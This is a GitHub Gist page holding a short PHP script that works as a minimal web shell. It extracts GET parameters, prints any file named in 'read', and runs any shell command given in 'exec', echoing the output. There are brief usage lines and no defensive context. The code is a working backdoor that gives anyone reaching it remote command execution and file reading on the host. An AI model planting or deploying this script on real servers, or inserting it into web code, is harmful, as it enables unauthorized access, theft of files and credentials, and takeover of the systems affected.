Created
August 26, 2012 08:26
-
-
Save pkallos/3476186 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
extract($_GET); | |
if ($read) { | |
echo file_get_contents($read); | |
} | |
else if ($exec) { | |
exec($exec, $output); | |
echo implode('<br/>', $output); | |
} | |
else { | |
echo "GET requests with one of these args<br/>"; | |
echo "read - print file contents<br/>"; | |
echo "exec shell command<br/>"; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment